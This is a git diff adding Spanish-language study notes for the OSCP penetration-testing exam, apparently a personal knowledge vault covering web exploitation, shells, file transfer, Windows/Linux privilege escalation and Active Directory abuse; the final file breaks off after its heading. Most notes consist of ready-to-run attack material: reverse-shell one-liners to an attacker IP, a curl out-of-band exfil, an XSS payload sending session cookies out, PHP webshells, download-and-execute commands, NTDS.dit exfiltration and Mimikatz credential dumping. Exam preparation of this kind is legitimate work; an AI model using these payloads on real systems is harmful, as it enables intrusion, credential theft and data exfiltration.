+Comparer → diff entre dos respuestas
+```
+
+## Atajos clave
+- `Ctrl+R` → enviar petición a **Repeater**
+- `Ctrl+I` → enviar a **Intruder**
+- `Ctrl+Shift+B` → base64
+
+## Community vs Pro (OSCP)
+Community vale de sobra para el examen. Limitaciones: **Intruder va ralentizado** y **no hay scanner activo** (que de todas formas está prohibido → Reglas de herramientas). Para fuzzing/fuerza bruta intensiva tira de Content discovery (ffuf) o hydra.
+
+## Para qué lo usas en cada vector
+- Cambiar `Content-Type` y extensión en File upload bypass.
+- Manipular cookies/headers en Authentication attacks.
+- Probar a mano `'`, `;`, `../`, `{{7*7}}` en SQL injection, Command injection, Directory traversal, SSTI.
+
+Relacionado: Hacking web · OSCP MOC
diff --git a/nucleo/saber/conocimiento/02 - Explotacion web/Command injection.md b/nucleo/saber/conocimiento/02 - Explotacion web/Command injection.md
new file mode 100644
index 0000000..3d13a25
--- /dev/null
+++ b/nucleo/saber/conocimiento/02 - Explotacion web/Command injection.md	
@@ -0,0 +1,36 @@
+# Command injection
+
+> Un parámetro web acaba dentro de un comando del sistema → ejecutas comandos. RCE directo, vector top del Hacking web.
+
+## Dónde aparece
+Funciones que "hacen algo" con tu input: `ping`, `nslookup`, convertir imágenes, export, backup, "test connection".
+
+## Separadores a probar (en Burp Repeater e Intruder)
+```
+;id           ejecuta tras el comando
+| id          pipe
+& id   / && id   encadenado
+`id`   $(id)   sustitución de comando
+%0a id        newline (a veces evade filtros)
+```
+Ejemplo: `?host=127.0.0.1;id` → si ves `uid=...` en la respuesta, tienes RCE.
+
+## Blind (no ves la salida)
+```bash
+# basado en tiempo:
+?host=127.0.0.1 && sleep 5        # ¿tarda 5s? → vulnerable
+# out-of-band:
+?host=127.0.0.1; curl http://TU_IP/$(whoami)   # míralo en tu http.server
+```
+
+## De RCE a shell
+```
+?host=127.0.0.1; bash -c 'bash -i >& /dev/tcp/TU_IP/4444 0>&1'
+```
+→ recíbela en tu listener (Reverse shell, ojo al Egress filtering).
+
+## Bypass de filtros
+- Espacios filtrados → `${IFS}`, `$IFS$9`, `<`.
+- Palabras filtradas → `w''hoami`, `wh\oami`, variables.
+
+Relacionado: Directory traversal · Reverse shell · OSCP MOC
diff --git a/nucleo/saber/conocimiento/02 - Explotacion web/Content discovery.md b/nucleo/saber/conocimiento/02 - Explotacion web/Content discovery.md
new file mode 100644
index 0000000..ed1075d
--- /dev/null
+++ b/nucleo/saber/conocimiento/02 - Explotacion web/Content discovery.md	
@@ -0,0 +1,32 @@
+# Content discovery
+
+> Descubrir rutas, ficheros y endpoints ocultos por fuerza bruta. El paso que más vectores destapa en Hacking web. Complementa Enumeración web.
+
+## Las tres herramientas
+```bash
+# gobuster (rápido, directo)
+gobuster dir -u http://IP -w /usr/share/seclists/Discovery/Web-Content/raft-large-words.txt -x php,txt,html
+
+# feroxbuster (RECURSIVO automático, el favorito para OSCP)
+feroxbuster -u http://IP -w /usr/share/seclists/Discovery/Web-Content/raft-medium-words.txt -x php,txt,bak
+
+# ffuf (el más flexible: filtros, vhosts, params)
+ffuf -u http://IP/FUZZ -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -e .php,.txt
+```
+
+## Lo que importa
+- **Extensiones** (`-x` / `-e`): prueba según la tecnología → `php`, `asp`, `aspx`, `txt`, `bak`, `zip`, `old`.
+- **Recursión**: feroxbuster baja solo a las carpetas que encuentra (gobuster no).
+- **Wordlists**: `raft-large-words`, `directory-list-2.3-medium`. `common.txt` es nivel junior (Trampas de enumeración).
+- **Filtrar ruido** en ffuf: `-fc 404` (código), `-fs 1234` (tamaño), `-mc 200,301,302`.
+
+## Más allá de directorios
+```bash
+ffuf -u http://IP/page.php?FUZZ=test -w params.txt        # descubrir parámetros (o usa arjun)
+ffuf -H "Host: FUZZ.objetivo.htb" -u http://IP -w subs.txt # vhosts → Vhosts y subdominios
+```
+
+## Qué hacer con lo encontrado
+Cada ruta nueva = superficie nueva → vuelve a Hacking web y pruébala (login → Authentication attacks, `?file=` → Directory traversal, upload → File upload bypass).
+
+Relacionado: Burp Suite · Enumeración web · OSCP MOC
diff --git a/nucleo/saber/conocimiento/02 - Explotacion web/Directory traversal.md b/nucleo/saber/conocimiento/02 - Explotacion web/Directory traversal.md
new file mode 100644
index 0000000..18921f7
--- /dev/null
+++ b/nucleo/saber/conocimiento/02 - Explotacion web/Directory traversal.md	
@@ -0,0 +1,37 @@
+# Directory traversal
+
+> Salir del directorio web con `../` para **leer ficheros arbitrarios**. Distinto de LFI a RCE: traversal solo **lee**; LFI **incluye/ejecuta**. Vector de Hacking web.
+
+## Dónde
+Parámetros que apuntan a ficheros: `?file=`, `?page=`, `?download=`, `?doc=`, `?path=`, `?lang=`.
+
+## Payloads
+```
+../../../../etc/passwd
+....//....//....//etc/passwd          (bypass de filtro que quita "../")
+%2e%2e%2f%2e%2e%2fetc%2fpasswd        (URL-encode)
+%252e%252e%252f                        (doble URL-encode)
+/etc/passwd                            (ruta absoluta directa)
+..%c0%af..%c0%af                       (UTF-8 overlong)
+```
+
+## Windows
+```
+..\..\..\..\windows\win.ini
+..\..\..\..\windows\system32\drivers\etc\hosts
+```
+
+## Ficheros jugosos
+```
+/etc/passwd  /etc/shadow  /etc/hosts
+~/.ssh/id_rsa            → login SSH directo
+config.php  web.config  .env  → credenciales de BD
+/var/www/html/...        → código fuente (busca creds, segundos vectores)
+```
+
+## Siguiente paso
+- Lees `id_rsa` → SSH como ese usuario.
+- Lees código/config → credenciales → Authentication attacks / reutilización.
+- Si además se **incluye** (PHP) → escala a LFI a RCE.
+
+Relacionado: LFI a RCE · Burp Repeater e Intruder · OSCP MOC
diff --git a/nucleo/saber/conocimiento/02 - Explotacion web/File upload bypass.md b/nucleo/saber/conocimiento/02 - Explotacion web/File upload bypass.md
new file mode 100644
index 0000000..55a6a7e
--- /dev/null
+++ b/nucleo/saber/conocimiento/02 - Explotacion web/File upload bypass.md	
@@ -0,0 +1,16 @@
+# File upload bypass
+
+> Subir una webshell cuando el upload está "filtrado". Vector de Hacking web. Manipula la subida con Burp Suite.
+
+## Trucos
+```
+Doble extensión   → shell.php.jpg, shell.phtml, .phar, .pht
+Magic bytes       → GIF89a;<?php system($_GET['c']); ?>
+Content-Type      → Burp: cambiar a image/jpeg
+.htaccess         → reasignar el handler para que .jpg se ejecute como PHP
+```
+
+## Flujo
+1. Subes la webshell evadiendo el filtro.
+2. La localizas (fuzzing de `/uploads/` → Enumeración web).
+3. `?c=...` → RCE → lanzas Reverse shell.
diff --git a/nucleo/saber/conocimiento/02 - Explotacion web/Hacking web.md b/nucleo/saber/conocimiento/02 - Explotacion web/Hacking web.md
new file mode 100644
index 0000000..cc897fa
--- /dev/null
+++ b/nucleo/saber/conocimiento/02 - Explotacion web/Hacking web.md	
@@ -0,0 +1,31 @@
+# Hacking web (metodología)
+
+> Cómo atacar una web paso a paso. En el OSCP, la web es el **foothold** más común de las máquinas standalone. Sub-índice de Enumeración dentro de la Metodología OSCP.
+
+## El flujo
+```
+1. ENUMERAR        → Enumeración web + Content discovery + Vhosts y subdominios
+2. MAPEAR superficie → cada input es un test: URL, params GET/POST, headers,
+                       cookies, formularios, uploads, JSON/API. Mapea con Burp Suite.
+3. IDENTIFICAR tecnología → whatweb, wappalyzer, headers, errores → searchsploit del CMS
+4. PROBAR cada vector (uno a uno):
+       SQL injection        (login, params, search)
+       Command injection    (params que ejecutan algo: ping, convert, export)
+       Directory traversal  (file=, path=, download=, page=)
+       LFI a RCE / RFI      (include de ficheros)
+       File upload bypass   (avatar, documento, import)
+       XSS                  (reflejo en la página)
+       SSTI                 ({{7*7}} en plantillas)
+       Authentication attacks (default creds, fuerza bruta, bypass)
+5. EXPLOTAR → de RCE a Reverse shell → luego Privesc Linux / Privesc Windows
+```
+
+## La regla de oro web
+**Todo input es sospechoso.** Por cada parámetro, prueba: comilla `'`, `<`, `;`, `../`, `{{7*7}}`, `$(id)`. La página te dice por su reacción qué vector hay.
+
+## Herramientas
+- Burp Suite (intercepta y manipula TODO) + Burp Repeater e Intruder
+- Content discovery (gobuster/feroxbuster/ffuf)
+- `nikto`, `whatweb`, `wpscan`, `cmsmap` → Enumeración web
+
+Relacionado: Recursos públicos (PayloadsAllTheThings, HackTricks) · OSCP MOC
diff --git a/nucleo/saber/conocimiento/02 - Explotacion web/LFI a RCE.md b/nucleo/saber/conocimiento/02 - Explotacion web/LFI a RCE.md
new file mode 100644
index 0000000..f7f3486
--- /dev/null
+++ b/nucleo/saber/conocimiento/02 - Explotacion web/LFI a RCE.md	
@@ -0,0 +1,21 @@
+# LFI a RCE
+
+> Local File Inclusion → ejecución de código. Vector clásico de Hacking web. Pariente de Directory traversal (traversal lee; LFI incluye/ejecuta).
+
+## Si tienes LFI básico, prueba
+```
+/proc/self/environ            # con User-Agent malicioso
+/var/log/apache2/access.log   # log poisoning + curl con UA payload
+php://filter/convert.base64-encode/resource=index.php   # leer fuente
+data://, expect://, phar://    # PHP wrappers
+```
+
+## Log poisoning (LFI → RCE)
+1. Envías una petición con `User-Agent: <?php system($_GET['c']); ?>`.
+2. Incluyes el log: `?page=/var/log/apache2/access.log&c=id`.
+3. El PHP de tu UA se ejecuta → RCE → Reverse shell.
+
+## php://filter
+Lee el código fuente en base64 para encontrar credenciales/segundos vectores (SQL injection, creds en config).
+
+Relacionado: Hacking web · Directory traversal · File upload bypass · Reverse shell · OSCP MOC
diff --git a/nucleo/saber/conocimiento/02 - Explotacion web/SQL injection.md b/nucleo/saber/conocimiento/02 - Explotacion web/SQL injection.md
new file mode 100644
index 0000000..66afd81
--- /dev/null
+++ b/nucleo/saber/conocimiento/02 - Explotacion web/SQL injection.md	
@@ -0,0 +1,18 @@
+# SQL injection
+
+> Aprende **manual primero** (en Burp Repeater e Intruder). `sqlmap` a veces miente — y en el examen está limitado (Reglas de herramientas). Vector de Hacking web.
+
+## Bypass de login
+```
+' OR '1'='1'-- -        (con espacio - doble guion - espacio)
+```
+
+## Detección time-based
+```
+' AND SLEEP(5)-- -
+```
+
+## De SQLi a shell
+- MSSQL: `xp_cmdshell` → RCE → Reverse shell.
+- Dump de tablas → credenciales → reutilización en otros servicios (Pass-the-Hash, RDP).
+- Lectura de ficheros (`LOAD_FILE`) → puede encadenar con LFI a RCE.
diff --git a/nucleo/saber/conocimiento/02 - Explotacion web/SSTI.md b/nucleo/saber/conocimiento/02 - Explotacion web/SSTI.md
new file mode 100644
index 0000000..5bb1468
--- /dev/null
+++ b/nucleo/saber/conocimiento/02 - Explotacion web/SSTI.md	
@@ -0,0 +1,26 @@
+# SSTI (Server-Side Template Injection)
+
+> Tu input entra en una plantilla del servidor (Jinja2, Twig, Freemarker...) y se **evalúa** → RCE. Vector de Hacking web.
+
+## Detección
+```
+{{7*7}}        → si responde 49 → vulnerable (Jinja2/Twig)
+${7*7}         → Freemarker / otros
+<%= 7*7 %>     → ERB (Ruby)
+#{7*7}         → Ruby/otros
+```
+Si `{{7*7}}` devuelve `49` (no el literal), hay SSTI.
+
+## Identificar el motor
+Usa el árbol de polyglots de PayloadsAllTheThings (Recursos públicos) o **tplmap** para automatizar.
+
+## Jinja2 (Python) → RCE
+```python
+{{ self.__init__.__globals__.__builtins__.__import__('os').popen('id').read() }}
+{{ cycler.__init__.__globals__.os.popen('id').read() }}
+```
+
+## De RCE a shell
+Inyecta el comando de Reverse shell dentro del payload → listener en Kali.
+
+Relacionado: Command injection · XSS · OSCP MOC
diff --git a/nucleo/saber/conocimiento/02 - Explotacion web/XSS.md b/nucleo/saber/conocimiento/02 - Explotacion web/XSS.md
new file mode 100644
index 0000000..eb44396
--- /dev/null
+++ b/nucleo/saber/conocimiento/02 - Explotacion web/XSS.md	
@@ -0,0 +1,28 @@
+# XSS (Cross-Site Scripting)
+
+> Inyectas JavaScript que se ejecuta en el navegador de otro usuario. En OSCP pesa menos que SQLi/RCE, pero aparece (sobre todo para robar sesión de un admin). Vector de Hacking web.
+
+## Tipos
+```
+Reflected → tu payload vuelve en la respuesta de ESA petición (?q=<script>...)
+Stored    → se guarda (comentario, perfil) y se dispara a quien lo vea (más potente)
+DOM       → el JS del cliente mete tu input en el DOM sin sanear
+```
+
+## Detección y payloads
+```html
+<script>alert(1)</script>
+<img src=x onerror=alert(document.domain)>
+"><svg onload=alert(1)>
+```
+Prueba primero un marcador inofensivo y mira si se **renderiza** o se escapa (en Burp Repeater e Intruder).
+
+## Para qué sirve en OSCP
+- **Robar la cookie de sesión** de un admin (XSS stored en un panel que el admin revisa):
+```html
+<script>new Image().src='http://TU_IP/c='+document.cookie</script>
+```
+  La recibes en tu `python3 -m http.server` → la usas en Authentication attacks.
+- A veces el panel admin tiene una función que escala a RCE / File upload bypass.
+
+Relacionado: SSTI · Authentication attacks · OSCP MOC
diff --git a/nucleo/saber/conocimiento/03 - Shells/Egress filtering.md b/nucleo/saber/conocimiento/03 - Shells/Egress filtering.md
new file mode 100644
index 0000000..0aebb96
--- /dev/null
+++ b/nucleo/saber/conocimiento/03 - Shells/Egress filtering.md	
@@ -0,0 +1,22 @@
+# Egress filtering
+
+> El firewall del **objetivo** bloquea ciertos puertos de salida → tu Reverse shell no conecta y crees que el exploit falló.
+
+## Qué probar (puertos de salida)
+```
+80, 443, 8080, 53, 4444
+```
+- Si **ninguno** funciona → considera una shell por **ICMP** o canal DNS.
+- 53 (DNS) y 443 suelen estar permitidos casi siempre.
+
+## Listener correcto según objetivo
+```
+nc clásico        → víctima Linux
+ncat --ssl        → evadir IDS
+stty raw -echo+nc → Windows ConPtyShell
+```
+
+## Regla
+Descubre el egress **pronto** (Gestión del tiempo): perder 2h pensando que el exploit no va, cuando es el firewall, es clásico.
+
+Relacionado: Reverse shell · Puesto de mando Kali · OSCP MOC
diff --git a/nucleo/saber/conocimiento/03 - Shells/Estabilizar shell TTY.md b/nucleo/saber/conocimiento/03 - Shells/Estabilizar shell TTY.md
new file mode 100644
index 0000000..b2d4816
--- /dev/null
+++ b/nucleo/saber/conocimiento/03 - Shells/Estabilizar shell TTY.md	
@@ -0,0 +1,23 @@
+# Estabilizar shell TTY
+
+> Una shell rota es tortura (sin Ctrl+C, sin flechas, sin `sudo`). Esto la arregla. Sigue a Reverse shell.
+
+## El ritual (Linux)
+```bash
+python3 -c 'import pty; pty.spawn("/bin/bash")'
+# Ctrl+Z  (suspende nc)
+stty raw -echo; fg
+# Enter, Enter
+export TERM=xterm
+stty rows 40 columns 120
+```
+- `rows`/`cols` los sacas con **`stty size`** en TU Kali.
+
+## Windows
+- Usa **Invoke-ConPtyShell** (Reverse shell) para una shell interactiva real.
+- Listener con `stty raw -echo; (stty size; cat) | nc -lvnp 4444`.
+
+## Por qué
+- Sin TTY: muchos exploits de Privesc Linux (los que piden `sudo`/interacción) fallan.
+
+Relacionado: Puesto de mando Kali · OSCP MOC
diff --git a/nucleo/saber/conocimiento/03 - Shells/Puesto de mando Kali.md b/nucleo/saber/conocimiento/03 - Shells/Puesto de mando Kali.md
new file mode 100644
index 0000000..1f3a52a
--- /dev/null
+++ b/nucleo/saber/conocimiento/03 - Shells/Puesto de mando Kali.md	
@@ -0,0 +1,27 @@
+# Puesto de mando Kali
+
+> **No tienes una GUI central.** Cada herramienta es independiente y habla por red con la víctima.
+> Tu Kali = un puesto de mando con varios terminales abiertos a la vez.
+
+## Los 4 terminales
+```
+Terminal 1 — listener de shells
+  stty raw -echo; (stty size; cat) | nc -lvnp 4444
+
+Terminal 2 — HTTP para servir tus tools a la víctima
+  cd tu carpeta
+  python3 -m http.server 80
+
+Terminal 3 — SMB para que la víctima TE envíe ficheros
+  mkdir /tmp/loot && cd /tmp/loot
+  impacket-smbserver loot . -smb2support
+
+Terminal 4 — tu shell de trabajo (nxc, impacket, etc.)
+  $
+```
+
+- Terminal 1 recibe la Reverse shell (estabilízala → Estabilizar shell TTY).
+- Terminales 2 y 3 = Transferencia de ficheros (subir tools / exfiltrar loot).
+- Terminal 4 = lanzas Impacket, BloodHound, etc.
+
+Relacionado: Egress filtering · OSCP MOC
diff --git a/nucleo/saber/conocimiento/03 - Shells/Reverse shell.md b/nucleo/saber/conocimiento/03 - Shells/Reverse shell.md
new file mode 100644
index 0000000..59e9a5d
--- /dev/null
+++ b/nucleo/saber/conocimiento/03 - Shells/Reverse shell.md	
@@ -0,0 +1,34 @@
+# Reverse shell
+
+> El foothold: la víctima se conecta de vuelta a tu listener. Recíbela en el Puesto de mando Kali.
+
+## Listener (Kali)
+```bash
+nc -lvnp 4444                         # clásico
+# para Windows ConPtyShell, estabilizado:
+stty raw -echo; (stty size; cat) | nc -lvnp 4444
+```
+
+## Disparo en la víctima
+### Windows (PowerShell, interactiva con ConPtyShell)
+```powershell
+IEX(IWR http://TU_IP/Invoke-ConPtyShell/Invoke-ConPtyShell.ps1 -UseBasicParsing); Invoke-ConPtyShell TU_IP 4444
+```
+El script se sirve desde tu HTTP (Transferencia de ficheros).
+
+### Linux (varios lenguajes)
+```bash
+bash -i >& /dev/tcp/TU_IP/4444 0>&1
+rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc TU_IP 4444 >/tmp/f   # nc sin -e
+python3 -c 'import socket,os,pty;s=socket.socket();s.connect(("TU_IP",4444));[os.dup2(s.fileno(),f) for f in(0,1,2)];pty.spawn("/bin/bash")'
+perl -e 'use Socket;...'    # cuando solo hay perl
+php -r '$s=fsockopen("TU_IP",4444);exec("/bin/sh -i <&3 >&3 2>&3");'
+```
+> Más payloads (war/aspx/jsp, x64, encoders) → genera con msfvenom. Referencia viva: revshells.com.
+
+## Después
+- **Estabiliza** la shell → Estabilizar shell TTY.
+- Si no conecta, sospecha Egress filtering (prueba 80, 443, 53, 4444).
+- Luego: PEASS-ng → Privesc Linux / Privesc Windows.
+
+Relacionado: Egress filtering · msfvenom · Metasploit · OSCP MOC
diff --git a/nucleo/saber/conocimiento/03 - Shells/Transferencia de ficheros.md b/nucleo/saber/conocimiento/03 - Shells/Transferencia de ficheros.md
new file mode 100644
index 0000000..42e0d89
--- /dev/null
+++ b/nucleo/saber/conocimiento/03 - Shells/Transferencia de ficheros.md	
@@ -0,0 +1,58 @@
+# Transferencia de ficheros
+
+> **Subes** tools a la víctima y **exfiltras** loot. Montado en el Puesto de mando Kali. Matriz completa: oscp.trastero.org/filetransfer.
+
+## Servidores en tu Kali
+```bash
+python3 -m http.server 7788                                   # HTTP
+impacket-smbserver -smb2support SERVER $(pwd)                  # SMB (anónimo)
+impacket-smbserver -username u -password p -smb2support SERVER $(pwd)  # SMB con auth
+python3 -m pyftpdlib --user=u --password=p -w -p 21           # FTP
+php -S 0.0.0.0:7788                                            # PHP
+```
+
+## Descargar EN la víctima Windows
+```powershell
+(New-Object Net.WebClient).DownloadFile('http://TU_IP/f.exe','C:\Windows\Temp\f.exe')
+Invoke-WebRequest http://TU_IP/f.exe -OutFile f.exe            # iwr
+IEX (New-Object Net.WebClient).DownloadString('http://TU_IP/x.ps1')   # fileless → AV evasion
+bitsadmin /transfer job http://TU_IP/f.exe C:\Temp\f.exe
+certutil.exe -urlcache -split -f "http://TU_IP/f.exe" f.exe    # LOLBin clásico
+tftp -i TU_IP get f.exe                                        # (DISM /online /Enable-Feature /FeatureName:TFTP)
+```
+```cmd
+net use x: \\TU_IP\SERVER /user:u p   &   copy x:\f.exe .      # vía SMB
+```
+
+## Descargar EN la víctima Linux
+```bash
+wget http://TU_IP/f -O f ; curl -o f http://TU_IP/f
+php -r '$f=file_get_contents("http://TU_IP/f");file_put_contents("f",$f);'
+python3 -c "import urllib.request;urllib.request.urlretrieve('http://TU_IP/f','f')"
+cat < /dev/tcp/TU_IP/7788 > f          # con  nc -lvnp 7788 < f  en Kali
+```
+
+## Exfiltrar de la víctima → Kali
+```cmd
+copy C:\Windows\NTDS\ntds.dit \\TU_IP\SERVER\          :: SMB (cifra, cruza firewalls) → secretsdump
+(New-Object Net.WebClient).UploadFile('http://TU_IP/up.php','loot.zip')
+```
+```bash
+scp loot.tar user@TU_IP:/tmp/                          # si hay SSH
+```
+
+## Sin red: copy-paste por base64
+```bash
+base64 -w0 f.bin                                        # en origen, copias el string
+echo "BASE64..." | base64 -d > f.bin                    # en destino, pegas
+# Windows: certutil -encode f.bin b64.txt  /  certutil -decode b64.txt f.bin
+```
+Útil cuando solo tienes una shell de texto (Estabilizar shell TTY) o vía RDP `/clipboard`.
+
+## Cifrado (canal vigilado)
+```bash
+openssl enc -base64 -in f -out f.b64        # ofuscar
+openssl s_server -quiet -accept 7788 -cert c.pem -key k.pem < f   # transferencia TLS
+```
+
+Relacionado: Egress filtering · Tunneling · Herramientas (índice) · OSCP MOC
diff --git a/nucleo/saber/conocimiento/04 - Privesc/GTFOBins y LOLBAS.md b/nucleo/saber/conocimiento/04 - Privesc/GTFOBins y LOLBAS.md
new file mode 100644
index 0000000..ba89820
--- /dev/null
+++ b/nucleo/saber/conocimiento/04 - Privesc/GTFOBins y LOLBAS.md	
@@ -0,0 +1,18 @@
+# GTFOBins y LOLBAS
+
+> Las dos chuletas que conviertes en privesc/ejecución usando binarios legítimos.
+
+## GTFOBins (Linux) — https://gtfobins.github.io
+- Dado un binario con SUID, `sudo`, o capability → cómo abusarlo para shell/leer/escribir como root.
+- Flujo: `sudo -l` o `find / -perm -4000` → buscas el binario en GTFOBins.
+- Ejemplo mental: `vim`, `find`, `less`, `python` con SUID → root trivial.
+
+## LOLBAS (Windows) — https://lolbas-project.github.io
+- "Living Off the Land Binaries": binarios firmados de Windows para descargar/ejecutar/bypassear.
+- Útil para Transferencia de ficheros y evadir controles (`certutil`, `bitsadmin`, `mshta`...).
+
+## Cómo encaja
+- Privesc Linux → GTFOBins es el segundo paso de casi todo SUID/sudo.
+- Privesc Windows → LOLBAS para vivir de la tierra.
+
+Relacionado: Recursos públicos · OSCP MOC
diff --git a/nucleo/saber/conocimiento/04 - Privesc/PEASS-ng.md b/nucleo/saber/conocimiento/04 - Privesc/PEASS-ng.md
new file mode 100644
index 0000000..3d15451
--- /dev/null
+++ b/nucleo/saber/conocimiento/04 - Privesc/PEASS-ng.md	
@@ -0,0 +1,21 @@
+# PEASS-ng (winPEAS / linPEAS)
+
+> Scripts que **enumeran automáticamente** todos los vectores de privesc. En `tu carpeta`.
+
+## Subir y ejecutar
+```bash
+# Kali (servir): cd tu carpeta && python3 -m http.server 80   → Transferencia de ficheros
+```
+```powershell
+# Windows:
+iwr http://TU_IP/winPEASx64.exe -OutFile C:\Windows\Temp\wp.exe ; C:\Windows\Temp\wp.exe
+```
+```bash
+# Linux:
+wget http://TU_IP/linpeas.sh -O /tmp/lp.sh ; bash /tmp/lp.sh
+```
+
+## Regla de oro
+**Automatizado + manual.** winPEAS resalta lo sospechoso (rojo/amarillo), pero **revisa a mano** Privesc Windows / Privesc Linux: winPEAS no encuentra todo (ej. lógica de un script cron concreto).
+
+Relacionado: GTFOBins y LOLBAS · Metodología OSCP · OSCP MOC
diff --git a/nucleo/saber/conocimiento/04 - Privesc/Potato attacks.md b/nucleo/saber/conocimiento/04 - Privesc/Potato attacks.md
new file mode 100644
index 0000000..c079c01
--- /dev/null
+++ b/nucleo/saber/conocimiento/04 - Privesc/Potato attacks.md	
@@ -0,0 +1,24 @@
+# Potato attacks
+
+> Cuando `whoami /priv` muestra **SeImpersonatePrivilege** o **SeAssignPrimaryTokenPrivilege** → abuso de token a **NT AUTHORITY\SYSTEM**.
+
+## El gatillo
+```
+whoami /priv   →  busca SeImpersonatePrivilege = Enabled
+```
+Típico en cuentas de servicio (IIS, MSSQL `sa`, etc.).
+
+## La familia
+```
+JuicyPotato    → Windows antiguos
+PrintSpoofer   → Windows 10/Server 2016-2019 (servicio de impresión)
+GodPotato      → moderno, muy fiable hoy
+RoguePotato / RottenPotato → variantes
+```
+
+## Uso típico (GodPotato/PrintSpoofer)
+```
+GodPotato.exe -cmd "cmd /c whoami"
+PrintSpoofer.exe -i -c cmd
+```
+Subes el .exe con Transferencia de ficheros.
diff --git a/nucleo/saber/conocimiento/04 - Privesc/Privesc Linux.md b/nucleo/saber/conocimiento/04 - Privesc/Privesc Linux.md
new file mode 100644
index 0000000..f9168ad
--- /dev/null
+++ b/nucleo/saber/conocimiento/04 - Privesc/Privesc Linux.md	
@@ -0,0 +1,25 @@
+# Privesc Linux
+
+> Tras el foothold (Reverse shell + Estabilizar shell TTY): script automatizado (PEASS-ng) **+** revisión manual. Paso 4 de la Metodología OSCP.
+
+## Los 10 olvidados
+```
+1.  sudo -l            → SIEMPRE primero, sin password
+2.  SUID exóticos      → find / -perm -4000 2>/dev/null  → GTFOBins y LOLBAS
+3.  Capabilities       → getcap -r / 2>/dev/null  (cap_setuid en python/perl = root)
+4.  Cron escribibles   → /etc/crontab, /var/spool/cron  (scripts que puedes editar)
+5.  Wildcard injection → tar czf /backup/* con --checkpoint
+6.  PATH abuse         → script SUID llama "ps" sin ruta → creas ./ps malicioso
+7.  NFS no_root_squash → showmount -e ; montas y subes un SUID
+8.  Docker group       → docker run -v /:/mnt -it alpine chroot /mnt  (= root)
+9.  Kernel exploits    → último recurso: DirtyCow, DirtyPipe (uname -a; searchsploit)
+10. Ficheros sensibles → /etc/passwd escribible, /etc/shadow legible, /var/backups
+```
+
+## Orden recomendado
+`sudo -l` → SUID/caps + GTFOBins y LOLBAS → cron → resto. **Kernel exploit = último recurso** (inestable) → Exploits conocidos.
+
+## Herramientas
+`linpeas.sh` (PEASS-ng), `LinEnum`, `linux-exploit-suggester` (LES), `lse.sh`, y `pspy` (espía cron/procesos sin root). Ver Herramientas (índice).
+
+Relacionado: Exploits conocidos · PEASS-ng · Privesc Windows · OSCP MOC
diff --git a/nucleo/saber/conocimiento/04 - Privesc/Privesc Windows.md b/nucleo/saber/conocimiento/04 - Privesc/Privesc Windows.md
new file mode 100644
index 0000000..6713f65
--- /dev/null
+++ b/nucleo/saber/conocimiento/04 - Privesc/Privesc Windows.md	
@@ -0,0 +1,41 @@
+# Privesc Windows
+
+> Tras la Reverse shell PowerShell: PEASS-ng (winPEAS) **+** revisión manual. Camino a SYSTEM.
+
+## Los 10 olvidados
+```
+1.  whoami /priv       → SeImpersonate/SeAssignPrimaryToken → Potato attacks
+2.  Unquoted services  → wmic service get name,pathname,startmode
+                         path con espacios sin comillas + carpeta escribible = exe propio
+3.  AlwaysInstallElev. → reg query HKLM\...\Windows\Installer (ambos =1 → msi = SYSTEM)
+4.  Service permisos   → accesschk.exe -uwcqv user *  (SERVICE_CHANGE_CONFIG)
+5.  Creds en disco     → Unattend.xml, sysprep.inf, web.config, cmdkey /list, SAM/SYSTEM
+6.  AutoLogon registro → HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon
+7.  Pass spraying      → la pass del user normal contra admin/administrator/sa
+8.  WSL / OpenSSH      → credenciales en .bash_history
+9.  Scheduled tasks    → schtasks /query /fo LIST /v  (scripts editables)
+10. UAC bypass + token impersonation
+```
+
+## Privilegios de token (SeXxxPrivilege)
+```
+SeImpersonate / SeAssignPrimaryToken → Potato attacks
+SeBackupPrivilege  → lees ficheros restringidos (copias SAM/SYSTEM, NTDS.dit)
+SeRestorePrivilege → escribes donde quieras: sustituye utilman.exe por cmd.exe
+SeDebugPrivilege   → vuelcas LSASS → Mimikatz
+SeTakeOwnership    → te apropias de objetos protegidos
+```
+
+## Otras técnicas (del sitio)
+- **DLL hijacking**: servicio que carga una DLL por ruta insegura → pones tu DLL (msfvenom `-f dll`) y reinicias el servicio.
+- **UAC bypass** vía `eventvwr.exe` (hijack de registro) cuando ya tienes código en un user del grupo Administrators.
+- **Unattend.xml / cmdkey / registro** → credenciales en disco (ya en los 10 olvidados).
+
+## Herramientas
+`PowerUp`, `PrivescCheck`, `Sherlock` (PowerShell) + `accesschk.exe` (SysInternals) → ver Herramientas (índice) y PEASS-ng.
+
+## Tras conseguir SYSTEM
+- Mimikatz → `sekurlsa::logonpasswords` → hashes/creds de dominio.
+- Esas creds → Movimiento lateral y Active Directory.
+
+Relacionado: Potato attacks · Exploits conocidos · PEASS-ng · Privesc Linux · OSCP MOC
diff --git a/nucleo/saber/conocimiento/05 - Active Directory/ACL abuses.md b/nucleo/saber/conocimiento/05 - Active Directory/ACL abuses.md
new file mode 100644
index 0000000..46b328b
--- /dev/null
+++ b/nucleo/saber/conocimiento/05 - Active Directory/ACL abuses.md	
@@ -0,0 +1,25 @@
+# ACL abuses
+
+> Permisos mal configurados sobre objetos de AD que te dejan escalar. **BloodHound te los pinta** como aristas. Camino de Active Directory.
+
+## Las aristas peligrosas
+```
+GenericAll          → control total sobre el objeto
+WriteDACL           → te das a ti mismo cualquier permiso
+AddMember           → te metes en un grupo (ej. Domain Admins)
+ForceChangePassword → cambias la pass de otro usuario sin saber la actual
+GenericWrite        → modificar atributos (ej. añadir SPN → Kerberoasting dirigido)
+```
+
+## Explotación típica (con bloodyAD / PowerView / impacket)
+```bash
+# ForceChangePassword:
+net rpc password "victima" "NuevaPass123!" -U "dominio/yo%mipass" -S DC_IP
+# AddMember a un grupo:
+bloodyAD -d corp.local -u yo -p pass --host DC add groupMember "Domain Admins" yo
+```
+
+## Encadenado
+Una arista lleva a otra → BloodHound calcula el **camino** hasta Domain Admins → puede acabar en DCSync.
+
+Relacionado: BloodHound · LAPS · OSCP MOC
diff --git a/nucleo/saber/conocimiento/05 - Active Directory/AS-REP Roasting.md b/nucleo/saber/conocimiento/05 - Active Directory/AS-REP Roasting.md
new file mode 100644
index 0000000..5aaf447
--- /dev/null
+++ b/nucleo/saber/conocimiento/05 - Active Directory/AS-REP Roasting.md	
@@ -0,0 +1,22 @@
+# AS-REP Roasting
+
